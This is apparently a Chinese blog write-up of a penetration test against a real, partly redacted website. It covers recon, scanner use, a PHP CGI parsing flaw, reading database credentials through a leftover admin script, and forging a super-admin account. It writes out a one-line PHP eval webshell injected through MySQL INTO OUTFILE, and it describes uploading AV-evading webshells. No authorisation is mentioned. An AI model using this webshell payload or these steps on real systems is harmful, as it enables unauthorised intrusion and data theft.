最近在做渗透测试的练习中遇到一个比较有意思的站点,在此记录下来,希望能给向我一样刚入安全圈不久的萌新提供一些基本思路吧。
在拿到目标站点的域名时,首要的工作肯定是进行一系列的信息搜集工作,具体搜集哪些信息以及怎么有效搜集,可以参考Google或者百度。
下面为了文章的简洁性,我只提及我会利用到的一些站点信息。
首先网站的真实IP并没有隐藏在CDN后面,直接在ThreadBook上查看同IP的旁站,显示足足189个!
看到这个数的时候,说实话内心是沉重的,虽然可以从众多的旁站入手,来拿到我们目标站的权限,不过运行了这么多站点的服务器,其防护措施,和权限的管理肯定都是比较安全。
简单的翻阅了一下网站的大概内容,发现网站更新使用的频率比较高,这也侧面的说明了管理员对网站的重视程度也算比较ok的。
发现网站的管理后台被隐藏了,一番爆破,Google haking语法等也没找到后台目录。
好了,我们直接上漏扫看一下吧,撸主使用的是AWVS(也可以使用其他的扫描器,如Appscan,或者其他安全公司的一些漏扫产品等)。
经过一波扫描,并没有发现SQL注入或者XSS跨站等,不过倒是发现了一个PHP CGI的解析漏洞,
详情:http://www.hangge.com/blog/cache/detail_667.html
但是如果找不到文件上传的途径,那么这个漏洞也就无法利用了,看来必须得进后台啊
对了 我好像不是信安的(卖萌
在尝试使用一个扫描敏感文件的小工具时,发现网站的跟目录存在这么一个文件 /1.php
进去后是这样:
直觉告诉我,这个文件肯定有问题。
果不其然,这个小脚本竟然可以遍历网站所有目录及相关特征文件(这不就是后门么。。)
这里解释一些,这个文件可能是网站管理员上传到服务器去检测WebShell后门的(在我发现的前一个星期上传的),估计忘记删除了。
直接试试快速扫描,发现是一个检测后门特征的扫描模式。
直接查看代码,发现下面两个文件都是一句话后门,
具体代码如下:
难道这么轻松的就可以拿下了?
菜刀连接,发现可以连接,但是执行不了任何命令,(哭
因为该php文件是被正常解析的,所以可能是系统禁用了某些函数。
继续研究 /1.php这个文件,尝试特征搜索 --> login
查看相关代码,了解到该网站使用EmpireCMS
也可以得到网站的管理后台了,这个好像是帝国CMS的默认路径,不知道扫描器为啥没给直接爆出来。。
来到管理后台,发现后台有登录次数的限制,本菜也没找到绕过的方法,遂罢。
简单看了下Seebug平台上,也没有新版本的相关漏洞情况
差点忘了1.php这个“后门”文件了,从搜索结果里面直接找到数据库配置文件
由于该Web服务器的IP开放了3306端口,尝试使用Navicat连接,运气不错,直接连上了。
尝试Mysql直接写入一句话试试,直接执行SQL语句
select '<?php eval($_post[‘shell’]); ?>' into outfile 'e:/wwwroot2018/xxx/web/testtest.php'
返回 [Err] 1045 - Access denied for user
没权限。。
查看数据库表,找到管理员用户名表,发现密码经过加密处理过了,
没办法,想要进后台,只能使用明文的密码。
根据登录后台定位相关代码文件,找到加密的函数
mmp,这个加密有点复杂啊
直接copy该函数,本地环境新建下面php文件,测试密码admin的加密输出
好了,接下来,可以直接在管理员表添加用户了,并将权限设置为最高,也就是超级管理员权限。
进入后台
由于网站存在PHP CGI的解析漏洞,因此我们只需上传一个txt文件的一句话就可以了,找到附件上传,成功上传一句话马的txt文件
找到上传附件模块,直接上传一句话,发现被拦截了
直接上传免杀了一句话木马文件,成功上传,截图如下
然后菜刀直接连接
http://www.xxxx.cn/d/file/p/2018-03-15/c0f6a19e6fc7881e613f6df5a2ef1bbb.txt/1.php
同上面一样,菜刀可以连接,但是执行不了任何命令
重复一下上文的猜测“因为该php文件是可以被正常解析的,所以可能是系统禁用了某些执行的函数”
这时候想到了各种免杀了PHP大马,掏出上周某大佬给的PHP免杀大马
直接上传成功,(鼓掌
在后面加上php的后缀名,成功解析,拿到Webshell
PS 简单的看了一下服务器的目录上,发现了几十家网站的源代码,管理员也太不小心了好吧。。Webshell已删
本篇文章就到此为止,希望自己以后多多记录,多多和大家分享。